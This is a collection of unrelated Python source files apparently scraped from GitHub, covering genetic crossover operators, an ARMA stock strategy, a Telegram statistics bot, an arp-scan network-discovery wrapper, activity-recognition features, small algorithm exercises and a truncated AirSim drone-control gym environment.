(120, 120, 120)\n \n","repo_name":"arifo99/ticTacToeBot","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36816230785","text":"\nimport random\nimport numpy as np\n\nneighgen_operators = ['cxOnePoint',\n 'cxTwoPoint',\n 'cxUniform',\n 'cxBlend',\n 'cxUniformBlend',\n 'sxSuppress'\n ]\n\n\ndef cxOnePoint(ind1, ind2):\n size = min(len(ind1), len(ind2))\n ind1o = ind1.deepcopy()\n ind2o = ind2.deepcopy()\n cxpoint = random.randint(1, size - 1)\n ind1[cxpoint:], ind2[cxpoint:] = ind2o[cxpoint:], ind1o[cxpoint:]\n\n return ind1, ind2\n\n\ndef cxTwoPoint(ind1, ind2):\n size = min(len(ind1), len(ind2))\n ind1o = ind1.deepcopy()\n ind2o = ind2.deepcopy()\n cxpoint1 = random.randint(1, size)\n cxpoint2 = random.randint(1, size - 1)\n if cxpoint2 >= cxpoint1:\n cxpoint2 += 1\n else: # Swap the two cx points\n cxpoint1, cxpoint2 = cxpoint2, cxpoint1\n\n ind1[cxpoint1:cxpoint2], ind2[cxpoint1:cxpoint2] \\\n = ind2o[cxpoint1:cxpoint2], ind1o[cxpoint1:cxpoint2]\n\n return ind1, ind2\n\n\ndef cxUniform(ind1, ind2, indpb):\n size = min(len(ind1), len(ind2))\n ind1o = ind1.deepcopy()\n ind2o = ind2.deepcopy()\n for i in range(size):\n if random.random() < indpb:\n ind1[i], ind2[i] = ind2o[i], ind1o[i]\n\n return ind1, ind2\n\n\ndef cxBlend(ind1, ind2, alpha):\n ind1o = ind1.deepcopy()\n ind2o = ind2.deepcopy()\n for i, (x1, x2) in enumerate(zip(ind1o, ind2o)):\n ind1[i] = (1. - alpha) * x1 + alpha * x2\n ind2[i] = alpha * x1 + (1. - alpha) * x2\n\n return ind1, ind2\n\n\ndef cxUniformBlend(ind1, ind2, indpb, alpha):\n ind1o = ind1.deepcopy()\n ind2o = ind2.deepcopy()\n for i, (x1, x2) in enumerate(zip(ind1o, ind2o)):\n if random.random() < indpb:\n ind1[i] = (1. - alpha) * x1 + alpha * x2\n ind2[i] = alpha * x1 + (1. - alpha) * x2\n\n return ind1, ind2\n\n\ndef sxSuppress(ind, base, indpb):\n for i in range(len(ind)):\n if random.random() < indpb:\n idx_base = i if len(base) == len(ind) else 0\n ind[i] = base[idx_base]\n\n return ind\n\n\ndef dang_neighborhood_generation(x, X_S, n_samples=1000, indpb=0.5, neighgen_op=None, base=None):\n\n Z = list()\n n_samples_per_support = max(1, n_samples // len(X_S))\n neighgen_op = neighgen_operators if neighgen_op is None else neighgen_op\n neighgen_op_support = [op for op in neighgen_op if op.startswith('cx')]\n\n for xs in X_S:\n for i in range(n_samples_per_support):\n x_i, xs_i = x.deepcopy(), xs.deepcopy()\n op_id = np.random.choice(neighgen_op_support)\n\n if op_id == 'cxOnePoint':\n x_i, xs_i = cxOnePoint(x_i, xs_i)\n elif op_id == 'cxTwoPoint':\n x_i, xs_i = cxTwoPoint(x_i, xs_i)\n elif op_id == 'cxUniform':\n x_i, xs_i = cxUniform(x_i, xs_i, indpb)\n elif op_id == 'cxBlend':\n alpha = np.random.choice(np.arange(0.1, 1.0, 0.1))\n x_i, xs_i = cxBlend(x_i, xs_i, alpha)\n elif op_id == 'cxUniformBlend':\n alpha = np.random.choice(np.arange(0.1, 1.0, 0.1))\n x_i, xs_i = cxUniformBlend(x_i, xs_i, indpb, alpha)\n\n Z.append(x_i)\n Z.append(xs_i)\n\n if base is not None and 'sxSuppress' in neighgen_op:\n for i in range(n_samples_per_support):\n x_i = x.deepcopy()\n x_i = sxSuppress(x_i, base, indpb)\n Z.append(x_i)\n\n idx = np.random.choice(len(Z), size=n_samples, replace=False)\n Z = [z for i, z in enumerate(Z) if i in idx]\n return Z\n\n","repo_name":"riccotti/DAG","sub_path":"code/dang_neighgen.py","file_name":"dang_neighgen.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31758715966","text":"import numpy as np\nimport pandas as pd\nfrom datetime import datetime\nimport matplotlib.pylab as plt\nplt.rcParams['font.sans-serif']=['SimHei']\nfrom matplotlib.pylab import rcParams\nfrom statsmodels.tsa.stattools import adfuller\nimport pickle\nfrom statsmodels.graphics.tsaplots import plot_pacf, plot_acf\nimport statsmodels\nfrom statsmodels.tsa.arima_model import ARMA\nfrom statsmodels.tsa.arima_model import ARIMA\nimport re\nimport numpy\n\n\nclass Strategy:\n def __init__(self, industry_code):\n self.industry_code = industry_code\n self.intern = pickle.load(open(r'D:/Data/intern.pkl', 'rb'))\n self.MktData = self.intern['MktData']\n self.InstrumentInfo = self.intern['InstrumentInfo']\n self.code_first_MktData = self.MktData.swaplevel(0, 1, axis=1)\n\n def get_industry_descendant(self, industry_code, industry_order=1):\n stock_SWICS = self.intern['InstrumentInfo']['SWICS']\n pattern = re.compile(industry_code[0:industry_order])\n descendant = []\n for index, stock in zip(self.intern['InstrumentInfo'].index, stock_SWICS):\n if re.match(pattern, stock):\n descendant.append(index)\n return np.asarray(descendant)\n\n\n def category_index(self, industry_code, train_size=50):\n descendant = self.get_industry_descendant(industry_code, industry_order=3)\n industry_all = pd.DataFrame()\n yesterday_ret_cumsum = []\n for stock in descendant:\n try:\n industry_all[stock] = self.code_first_MktData[str(stock)]['ret'][-train_size:-1].as_matrix()\n except KeyError:\n continue\n no_NaN = industry_all.dropna(axis=1, how='any')\n industry_cumsum = no_NaN.cumsum()\n industry_index = industry_cumsum.mean(1)\n industry_index.index = self.MktData.index[-train_size:-1]\n extra_stock_performance = industry_cumsum.sub(industry_cumsum.mean(axis=1), axis=0)\n extra_stock_performance.index = self.MktData.index[-train_size:-1]\n return industry_index, extra_stock_performance, yesterday_ret_cumsum\n\n def arma_forecast(self, ts, p, q,):\n arma = ARMA(ts, order=(p, q)).fit(disp=-1)\n ts_predict = arma.predict()\n next_ret = arma.forecast(1)[0]\n #print(\"Forecast stock extra return of next day: \", next_ret)\n # plt.clf()\n # plt.plot(ts_predict, label=\"Predicted\")\n # plt.plot(ts, label=\"Original\")\n # plt.legend(loc=\"best\")\n # plt.title(\"AR Test {},{}\".format(p, q))\n # #plt.show()\n return next_ret, arma.summary2()\n\n def arima_forecast(self, ts, p, i, q,):\n arima = ARIMA(ts, order=(p, i, q)).fit(disp=-1)\n ts_predict = arima.predict()\n next_ret = arima.forecast(1)[0]\n #print(\"Forecast stock extra return of next day: \", next_ret)\n # plt.clf()\n # plt.plot(ts_predict, label=\"Predicted\")\n # plt.plot(ts, label=\"Original\")\n # plt.legend(loc=\"best\")\n # plt.title(\"AR Test {},{}\".format(p, q))\n # #plt.show()\n return next_ret, arima.summary2()\n\n\ndef main():\n test_strategy = Strategy('280201')\n industry_index, extra_stock_performance, yesterday_ret_cumsum = test_strategy.category_index(test_strategy.industry_code)\n # plt.plot(industry_index, label='Industry Index')\n # for stock in extra_stock_performance.columns:\n # plt.plot(extra_stock_performance[stock], label=stock)\n # plt.legend(loc=\"best\")\n # plt.show()\n # print(industry_index.shape)\n # print(extra_stock_performance.shape)\n factor = pd.Series(index=extra_stock_performance.columns)\n summary = {}\n for i, stock in enumerate(extra_stock_performance.columns):\n stock_predict_arma, stock_summary_arma = test_strategy.arma_forecast(extra_stock_performance[stock], 1, 0)\n summary[stock] = stock_summary_arma\n factor[i] = float(stock_predict_arma)\n # stock_predict_arima, stock_summary_arima = test_strategy.arima_forecast(extra_stock_performance[stock], 1, 0, 0)\n # if stock_predict_arma-yesterday_ret_cumsum[i] > 0:\n # print(\"Predicted extra ret of ARMA is:{} bigger than 0,suggested sell out\".format(stock_predict_arma-yesterday_ret_cumsum[i]))\n # else:\n # print(\"Predicted extra ret of ARMA is:{} less than 0,suggested buy in\".format(stock_predict_arma-yesterday_ret_cumsum[i]))\n # if stock_predict_arima-yesterday_ret_cumsum[i] > 0:\n # print(\"Predicted extra ret of ARIMA is:{} bigger than 0,suggested sell out\".format(stock_predict_arima-yesterday_ret_cumsum[i]), stock_predict_arima)\n # else:\n # print(\"Predicted extra ret of ARIMA is:{} less than 0,suggested buy in\".format(stock_predict_arima-yesterday_ret_cumsum[i]), stock_predict_arima)\n return factor, summary\n\n\nif __name__ == '__main__':\n factor, summary = main()\n # x = factor.index\n # y = factor\n # #fig = plt.figure(figsize=(15,2))\n # plt.scatter(x, y)\n # plt.plot([x[0],x[-1]], [0,0], color='r')\n # for a, b in zip(x, y):\n # plt.text(a, b + 0.01, '{0:.5}'.format(b), ha='center', va='bottom', fontsize=7)\n # plt.title(\"280000\")\n # plt.xlabel(\"Stock Code\")\n # plt.ylabel(\"Diviation of each stock from index\")\n # plt.xticks([])\n # plt.show()\n\n\n\n\n # temp = np.array(ret)\n # t = statsmodels.tsa.stattools.adfuller(temp) # ADF检验\n # output = pd.DataFrame(index=['Test Statistic Value', \"p-value\", \"Lags Used\", \"Number of Observations Used\",\"Critical Value(1%)\",\"Critical Value(5%)\",\"Critical Value(10%)\"],columns=['value'])\n # output['value']['Test Statistic Value'] = t[0]\n # output['value']['p-value'] = t[1]\n # output['value']['Lags Used'] = t[2]\n # output['value']['Number of Observations Used'] = t[3]\n # output['value']['Critical Value(1%)'] = t[4]['1%']\n # output['value']['Critical Value(5%)'] = t[4]['5%']\n # output['value']['Critical Value(10%)'] = t[4]['10%']\n # print(output)\n\n #\n import statsmodels.api as sm\n # sm.tsa.arma_order_select_ic(temp,max_ar=6,max_ma=4,ic='aic')['aic_min_order'] # AIC\n # sm.tsa.arma_order_select_ic(temp,max_ar=6,max_ma=4,ic='bic')['bic_min_order'] # BIC\n # sm.tsa.arma_order_select_ic(temp,max_ar=6,max_ma=4,ic='hqic')['hqic_min_order'] # HQIC\n\n # order = (1, 1)\n # train = ret[:-50]\n # test = ret[-50:]\n # tempModel = sm.tsa.ARMA(train, order).fit()\n # tempModel.summary2()\n\n\n","repo_name":"imaugustus/Obsidia","sub_path":"Strategy/ARMA_Strategy.py","file_name":"ARMA_Strategy.py","file_ext":"py","file_size_in_byte":6444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36688552542","text":"def constituiArvoreBinariaDeBusca(raiz):\r\n validade = True\r\n if raiz:\r\n if raiz.esq:\r\n if raiz.esq > raiz.dado:\r\n validade = False\r\n return validade\r\n validade = constituiArvoreBinariaDeBusca(raiz.esq)\r\n if raiz.dir:\r\n if raiz.dir < raiz.dado:\r\n validade = False\r\n return validade\r\n validade = constituiArvoreBinariaDeBusca(raiz.dir)\r\n return validade","repo_name":"pafev/UnB-estrutura-de-dados","sub_path":"árvores/constituiArvoreBinariaDeBusca.py","file_name":"constituiArvoreBinariaDeBusca.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18717789739","text":"# -*- coding: utf-8 -*-\n\nfrom app import logging\nfrom app.utils.post_statistics import statistics as post_statistics\nfrom app.remote.postgresql import Psql as psql\nfrom app.remote.redis import Redis as redis\nfrom telegram.ext.dispatcher import run_async\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup\nfrom datetime import datetime\nfrom time import time\nimport logging\nimport asyncio\nimport requests\n\n\ndef refresh_stats(bot, call, expired=None):\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n stats = call.data.split(\"|\", 1)\n if not expired:\n expired = stats[1]\n\n if int(time()) >= int(expired):\n owner_id = loop.run_until_complete(psql.fetchrow('SELECT owner_id FROM channels WHERE id = $1;',\n int(call.message.chat.id)))['owner_id']\n community_id = loop.run_until_complete(\n psql.fetchrow('SELECT community_id FROM posts WHERE chat_id = $1 AND message_id = $2;',\n int(call.message.chat.id), int(call.message.message_id)))['community_id']\n post_id = loop.run_until_complete(\n psql.fetchrow('SELECT post_id FROM posts WHERE chat_id = $1 AND message_id = $2;',\n int(call.message.chat.id), int(call.message.message_id)))['post_id']\n access_token = loop.run_until_complete(psql.fetchrow(\n 'SELECT access_token FROM users WHERE id = $1;',\n int(owner_id)\n ))['access_token']\n\n post = requests.post(\"https://api.vk.com/method/wall.getById\",\n data={\n \"posts\": str(str(community_id) + \"_\" + str(post_id)),\n \"copy_history_depth\": 1,\n \"extended\": 1,\n \"access_token\": access_token,\n \"v\": \"5.80\"\n }).json()['response']['items'][0]\n update_status = post_statistics(bot, posts=post, chat_id=call.message.chat.id,\n message_id=call.message.message_id, mtype=\"update\")\n if update_status == \"OK\" or update_status == \"IS NOT MODIFIED\":\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"✅ Статистика данной публикации была успешно обновлена! \"\n \"Нажмите на кнопку(-и) еще раз, чтобы увидеть обновленные значения. \"\n \"Обратите внимание, что клиенту потребуется до 30 секунд для их обновления.\",\n show_alert=True, cache_time=30)\n else:\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"❌ Что-то пошло не так при попытке обновлении статистики данной \"\n \"публикации, попробуйте позже.\",\n show_alert=True, cache_time=30)\n else:\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"❌ Статистика данной публикации была недавно обновлена, попробуйте \"\n \"немного позже.\",\n show_alert=True, cache_time=30)\n\n\n@run_async\ndef callback(bot, call):\n try:\n call = call.callback_query\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n\n if call.message:\n if call.data.startswith(\"channel_counters\"):\n counter = call.data.split(\"|\", 2)\n\n if counter[1] == \"time\":\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"🕒 Время публикации данного поста: {0} MSK.\".format(\n str(datetime.fromtimestamp(\n int(counter[2])).strftime(\"%d.%m.%y, %H:%M:%S\"))),\n show_alert=True, cache_time=30)\n elif counter[1] == \"likes\":\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"💖 Количество лайков: {0}.\".format(\n str(counter[2])), show_alert=True, cache_time=30)\n elif counter[1] == \"comments\":\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"💬 Количество комментариев: {0}.\".format(\n str(counter[2])), show_alert=True, cache_time=30)\n elif counter[1] == \"reposts\":\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"🔁 Количество репостов: {0}.\".format(\n str(counter[2])), show_alert=True, cache_time=30)\n elif counter[1] == \"views\":\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"👁 Количество просмотров: {0}.\".format(\n str(counter[2])), show_alert=True, cache_time=30)\n elif counter[1] == \"poll\":\n poll = loop.run_until_complete(redis.execute(\"GET\", str(\"poll&\" + str(counter[2]))))\n if not poll:\n logging.debug(\"Poll Name is None, most likely this poll isn't in the cache.\")\n refresh_stats(bot, call, expired=1)\n return\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"📋 Название голосования: {0}.\".format(\n str(poll[0:170])), show_alert=True, cache_time=30)\n elif counter[1] == \"poll_ans\":\n poll_answer = loop.run_until_complete(redis.execute(\"GET\", str(\"poll_answer&\" + str(counter[2]))))\n if not poll_answer:\n logging.debug(\"Poll Answer is None, most likely this poll isn't in the cache.\")\n refresh_stats(bot, call, expired=1)\n return\n else:\n poll_answer = poll_answer.split(\"?|&|&|!\", 1)\n bot.answer_callback_query(callback_query_id=call.id,\n text=\"❎ Количество голосов за {0}: {1} голосов.\".format(\n str(poll_answer[0][0:140]), str(poll_answer[1])),\n show_alert=True, cache_time=30)\n elif call.data.startswith(\"channel_refresh_stats\"):\n refresh_stats(bot, call)\n bot.answer_callback_query(callback_query_id=call.id, show_alert=False)\n except Exception as e:\n logging.error(\"Exception has been occurred while trying to execute the method.\", exc_info=True)\n return e\n","repo_name":"mestrogov/snresistance","sub_path":"app/handlers/callback.py","file_name":"callback.py","file_ext":"py","file_size_in_byte":7645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13816518367","text":"import argparse\nimport re\nimport shutil\nimport subprocess\nimport sys\n\nclass ArpScanner:\n interface = ''\n hosts = ''\n\n def __init__(self, interface, hosts='--localnet'):\n self.interface = interface\n self.hosts = hosts\n\n def scan(self):\n sudo = shutil.which('sudo')\n if not sudo:\n raise FileNotFoundError('sudo binary is needed')\n arpscan = shutil.which('arp-scan')\n if not arpscan:\n raise FileNotFoundError('arp-scan binary is needed')\n if not subprocess.getstatusoutput(sudo + ' -n true')[0] == 0:\n raise PermissionError('You must be a sudoers without password')\n pargs = [sudo, '-n', arpscan, '-I', self.interface, self.hosts]\n try:\n out = subprocess.check_output(pargs, universal_newlines=True, timeout=5)\n except subprocess.TimeoutExpired:\n pass\n re_ip = r'(?P<ip>((2[0-5]|1[0-9]|[0-9])?[0-9]\\.){3}((2[0-5]|1[0-9]|[0-9])?[0-9]))'\n re_mac = r'(?P<mac>([0-9a-fA-F]{2}[:-]){5}([0-9a-fA-F]{2}))'\n re_hw = r'(?P<hw>[\\w.]+)'\n pattern = re.compile(re_ip + '\\s+' + re_mac + '\\s' + re_hw)\n return [match.groupdict() for match in re.finditer(pattern, out)]\n\ndef main():\n desc = 'Command-line tool for network discovery. \\\n It is a Python wrapper for arp-scan tool. \\\n Both this command and sudo are needed.'\n parser = argparse.ArgumentParser(description=desc)\n parser.add_argument('interface', help='interface to scan')\n parser.add_argument('-H', '--hosts', default='--localnet', help='host or network to scan')\n args = parser.parse_args()\n arpscan = ArpScanner(args.interface, args.hosts)\n for entry in arpscan.scan():\n print('{mac}: {ip} ({hw})'.format(**entry))\n\nif __name__ == '__main__':\n sys.exit(main())","repo_name":"MoraAndrea/controller-drone-ui","sub_path":"controller/Utils/arpscan.py","file_name":"arpscan.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73449902132","text":"from data.compile_dataset import Activity_Split, Activity, Window\nfrom features.featurizations import *\n# from copy_compile_dataset import Activity_Split, Activity, Window\n# from featurizations import *\nimport pickle\nimport numpy as np\nimport pandas as pd\n\nACCEL_AGGS = [get_std, get_RMS, get_ZCR, get_ABSDIFF, get_FFT5, get_spectral]\nVIDEO_AGGS_CENTRE = [get_std, get_range, get_ABSDIFF]\nVIDEO_AGGS_BOUNDS = [get_height_mean, get_height_std, get_height_range, get_volume_aggs]\nN_NANS = len(VIDEO_AGGS_CENTRE)*4 + len(VIDEO_AGGS_BOUNDS)*3\n\n\nclass Featurize(object):\n '''\n Class to create feature matrix in preparation for modelling from list of Window objects with raw time series\n '''\n def __init__(self, window_lst):\n '''\n sets attributes\n '''\n self.raw_windows = window_lst\n self.create_features()\n # self.create_vidfeatures()\n\n def create_features(self):\n '''\n runs through list of aggregate functions (see globals above) and assembles feature matrix\n '''\n self.activity_labels = []\n self.activity_cats = []\n self.col_labels_accel = []\n feature_matrix_accel = []\n \n self.col_labels_video = []\n feature_matrix_video = []\n\n first_iter_accel = True\n first_iter_video = True\n for win in self.raw_windows:\n feature_row_accel = []\n feature_row_video = []\n\n for acc_agg in ACCEL_AGGS:\n if first_iter_accel:\n data_accel, label_accel = acc_agg(win.accel)\n self.col_labels_accel.extend(label_accel)\n feature_row_accel.extend(data_accel)\n else:\n data_accel, _ = acc_agg(win.accel)\n feature_row_accel.extend(data_accel)\n\n if win.has_video:\n if win.video.shape[0] >= 8:\n centre_data = np.array(win.video.values[:, :3], dtype='float')\n bounds_data = np.array(win.video.values[:, 3:9], dtype='float')\n for vid_centre_agg in VIDEO_AGGS_CENTRE:\n if first_iter_video:\n data_video, label_video = vid_centre_agg(centre_data)\n self.col_labels_video.extend(label_video)\n feature_row_video.extend(data_video)\n else:\n data_video, _ = vid_centre_agg(centre_data)\n feature_row_video.extend(data_video)\n\n for vid_bounds_agg in VIDEO_AGGS_BOUNDS:\n if first_iter_video:\n data_video, label_video = vid_bounds_agg(bounds_data)\n self.col_labels_video.extend(label_video)\n feature_row_video.extend(data_video)\n else:\n data_video, _ = vid_bounds_agg(bounds_data)\n feature_row_video.extend(data_video)\n first_iter_video = False\n else:\n feature_row_video.extend([np.nan] * N_NANS)\n else:\n feature_row_video.extend([np.nan] * N_NANS)\n first_iter_accel = False\n\n feature_matrix_video.append(feature_row_video)\n feature_matrix_accel.append(feature_row_accel)\n self.activity_labels.append(win.name)\n self.activity_cats.append(win.category)\n self.X_accel = np.array(feature_matrix_accel)\n self.X_video = np.array(feature_matrix_video)\n\n\n\nif __name__ == \"__main__\":\n filehandle = open('features/all_data_windowed.obj', 'rb')\n AARP_data = pickle.load(filehandle)\n\n data_featured = Featurize(AARP_data.windows)\n data_featured.create_features()\n\n\n print('complete')\n\n","repo_name":"caseyolson8/Human-Activity-Recognition-wSensors","sub_path":"src/features/build_features.py","file_name":"build_features.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71280431413","text":"import pandas as pd\nimport random\n\ntraindata = pd.read_csv('ex1_train_data.csv', delimiter=';')\n\ndef mse(Y, Y_pred):\n result = 1/len(Y) * sum((Y - Y_pred) ** 2)\n return result\n\na = random.randrange(1, 100)\nb = random.randrange(1, 100)\nL = 0.0001\nepochs = 10000\n\nfor i in range(epochs):\n Y_pred = traindata['x'] * a + b\n\n n = len(Y_pred)\n\n a = a - L * (-2/n) * sum(traindata['x'] * (traindata['y'] - Y_pred))\n b = b - L * (-2/n) * sum(traindata['y'] - Y_pred)\n\nY_pred = traindata['x'] * a + b\nfinal_mse = mse(traindata['y'], Y_pred)\nprint('mse = %.3f, learned a = %3.f, learned b = %.3f')","repo_name":"Sinisca/Facens","sub_path":"Inteligência Artificial/EX_4_7.py","file_name":"EX_4_7.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3580514046","text":"\n#to są zmienne\n\ncalkowita = 4 #liczby całokowite / int / integer\n\nznaczki = \"kuc\" #ciąg znaków / string / str\n\nczyPrawda = 2 == 1 #prawda fałsz / bool / boolean\n\nprzecinek = 3.14 #liczby zmiennoprzecinkowe / float\n\n\n#zamienianie wartości\n#zamiast 1 dać trzeba jakąś wartość albo zmienną\n\nstr(1) #do stringu\nint(1) #do integeru/inta\nfloat(1) #do floatu\nbool(1) #do boolu/boolean\n\n\n#drukuje zmienną 'integer' zamienioną na string + jakiś tekst\nprint(str(integer) + \" o to nasza liczba\")\n","repo_name":"Blejek/UczeniePythona","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43039021327","text":"# Aを、左から要素を確定させていく\n# 既に確定させたAの要素からなる集合をSとする\n# 配るDP\ndef main():\n n, x, y = map(int, input().split())\n A = list(map(int, input().split()))\n B = list(map(int, input().split()))\n\n ALL = 1 << n\n INF = float('inf')\n DP = [INF]*ALL\n DP[0] = 0\n\n for cur_S in range(ALL):\n # x not in S\n cur_n = popcount(cur_S)\n for i, a_i in enumerate(A):\n if cur_S >> i & 1:\n continue\n nex_S = cur_S | (1 << i)\n # i, a_iをn番目に持ってくる\n # [0, n-1]は既に埋まっている\n # したがって、i以下の、cur_Sに含まれない要素の数がswap回数\n lower_i_subset = ~cur_S & ((1 << i) - 1)\n swap_cnt = popcount(lower_i_subset)\n cost_y = swap_cnt * y\n cost_x = abs(B[cur_n] - a_i)*x\n DP[nex_S] = min(DP[nex_S], DP[cur_S] + cost_x + cost_y)\n\n print(DP[ALL - 1])\n\n\ndef popcount(S):\n return bin(S).count('1')\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/abc232_f_0122.py","file_name":"abc232_f_0122.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14452181417","text":"import gym\nfrom gym import error, spaces, utils\nfrom gym.utils import seeding\nimport time\nimport numpy as np\nimport airsim\nimport math\nimport random \n''' \n Observation: \n Type: Box(12)\n Num Observation Min Max\n 0 Quad postion x -Inf Inf\n 1 Quad postion y -Inf Inf\n 2 Quad postion z -Inf Inf\n 3 Quad Velocity x -Inf Inf\n 4 Quad Velocity y -Inf Inf\n 5 Quad Velocity z -Inf Inf\n 6 Quad Orientation roll -pi/2 pi/2\n 7 Quad Orientation pitch -pi/2 pi/2\n 8 Quad Orientation yaw -pi/2 pi/2\n 9 Quad Angular_velocity x -Inf Inf\n 10 Quad Angular_velocity y -Inf Inf\n 11 Quad Angular_velocity z -Inf Inf\n \n Actions:\n Type: Box(4) \n Num Action Min Max \n 0 roll rate -1 +1\n 1 pitch rate -1 +1\n 2 yaw rate -1 +1\n 0 throttle 0 +1\n\n Goal positon: (8,5,16)\n This goal in Unity Frame of reference \n\n Maximum time steps = 300 \n'''\nclass AirsimEnv(gym.Env): \n state_mean = np.array([0, 0, 1.412217970937490531e-05, 0, 0, 1.647552423179149753e-02, 0, 0, 3.141592653589793116e+00, 0, 0 ,0, 6.5, 3.141])\n state_s_k = np.zeros(14)\n reward_mean = 0\n reward_s_k = 0\n k = 0\n def __init__(self):\n # try static attribute\n observation_low = -1 * np.array([np.inf,np.inf,np.inf, # positon lower limits\n np.inf,np.inf,np.inf, # linear velocity lower limits\n np.pi/2,np.pi/2,np.inf, # orientation lower limits\n np.inf,np.inf,np.inf, # angular velocity lower limits\n np.inf, np.inf]) # goal x,y,z position in local frame \n observation_high = np.array([np.inf,np.inf,np.inf, # positon upper limits\n np.inf,np.inf,np.inf, # linear velocity upper limits\n np.pi/2,np.pi/2,np.inf, # orientation upper limits\n np.inf,np.inf,np.inf, # angular velocity upper limits\n np.inf, np.inf]) # goal x,y,z position in local frame\n\n self.observation_space = spaces.Box(observation_low, observation_high, dtype=np.float32)\n \n\n actions_low = np.array([-np.inf]*3)\n actions_high = np.array([np.inf]*3)\n self.action_space = spaces.Box(actions_low, actions_high, dtype=np.float32)\n \n \n # The goal is specified in unity global coordinate system \n # then transformed to the quad coordinate system to compute the reward.\n # self.goal = np.array([goal[0],goal[1],goal[2]])\n\n self.time_step = 0 \n self.done = False\n self.max_eps_steps = 1500\n self.max_episode_steps = 1500\n\n self.seed()\n \n self.airsimClient = airsim.MultirotorClient()\n self.airsimClient.confirmConnection()\n self.airsimClient.enableApiControl(True)\n self.airsimClient.armDisarm(True)\n self.isReseted = False\n\n\n # self.goal = [10 * np.random.randn()\n # , 10 * np.random.randn()\n # , np.random.uniform(-5,-10)]\n # time.sleep(0.1)\n\n # def setGoal(self, goal):\n # # goal = self._r_u_to_q(np.array(goal[0],goal[1],goal[2]))\n # # goal = [2.5, 4.9, -5]\n # self.goal = [goal[0], goal[1], goal[2]]\n\n def step(self, action):\n AirsimEnv.k += 1\n # Check if the user has reseted the environment and the action is whtih in the bound \n # print(action)\n # action = np.clip(action,-1,1)\n assert self.isReseted , \"Environments should be reseted before taking an action\" \n assert self.action_space.contains(action), f\"Action {action} is out of bound\"\n self.time_step += 1\n # comit the action, \n # print(f'action0 {float(action[0])}')\n # print(f'action1 {float(action[1])}')\n # print(f'action2 {float(action[2])}')\n # print(f'action3 {float(action[3])}')\n # self.airsimClient.moveByAngleRatesThrottleAsync(float(action[0]), # roll rate\n # float(action[1]), # pitch rate\n # float(action[2]), # yaw rate\n # 0.6, # throttle\n # 0.1).join() # duration\n if not self.done:\n self.airsimClient.moveByAngleRatesZAsync(float(action[0]),\n float(action[1]),\n float(action[2]),\n self.goal[2],\n 0.01).join()\n # time.sleep(0.15)\n quad_state = self.airsimClient.getMultirotorState().kinematics_estimated\n state,state_tup = self._extract_state(quad_state)\n quad_postion = state_tup[0]\n\n goal_quad_frame = self.goal\n reward = self._compute_DTG_reward(state_tup, goal_quad_frame, action)\n # a z position high than 0.7 means the quad is under the Environment plane/terrain\n # TODO: add collision detiction\n\n # if self.time_step > 5:\n # collision_info = self.airsimClient.simGetCollisionInfo()\n # is_collided = collision_info.has_collided\n # if is_collided:\n # print(\"collision detcted\")\n # self.done = True\n # reward = -1000\n\n # if (np.abs(state[7]) > 0.6 or np.abs(state[6]) > 0.6 ):\n # print('extreme angle orientation')\n # self.done = True\n # reward = -5000\n\n if quad_postion[2] > 0.7:\n print(\"Collided\")\n self.done = True\n reward = -1e6\n\n if not self.done:\n reward = self._compute_DTG_reward(state_tup, goal_quad_frame, action)\n l2_dis = self._compute_l2_distance(quad_postion, goal_quad_frame)\n # print(f'l2 dis {l2_dis}')\n # Solved !\n if l2_dis <= 1.5:\n # self.done = True \n print(\"Solved!\")\n if self.num_reached_goals == 0:\n reward = 3e6\n print(f\"solved at {quad_postion} fot goal number {self.num_reached_goals+1}\")\n elif self.num_reached_goals == 1:\n reward = 5e6\n print(f\"solved at {quad_postion} fot goal number {self.num_reached_goals+1}\")\n else:\n reward = 9e6\n print(f\"solved at {quad_postion} fot goal number {self.num_reached_goals+1}\")\n self.done = True\n if not self.done:\n # self.goal_ind += 1\n self.goal += self.GenerateGoal(range_min=3, range_max=10, init_point=state_tup[0])\n self.goal = self.GoalsToQuadFrame(self.goal.copy())\n print(f\"new goal is {self.goal}\")\n print(f\"distance to goal {self._compute_l2_distance(quad_postion, self.goal.copy())}\")\n self.num_reached_goals += 1\n \n # elif l2_dis <= 0.3:\n # print('0.3 region')\n # reward = 1000\n # elif l2_dis <=0.5:\n # print('print 0.5 region')\n # reward = 500\n elif l2_dis >100:\n print(\"too far\")\n self.done = True\n reward = -1e6\n state_dict = self._state_to_dict(state)\n actions_dict = self._action_to_dict(action)\n info = {'time_step':self.time_step, 'state': state_dict,'action' 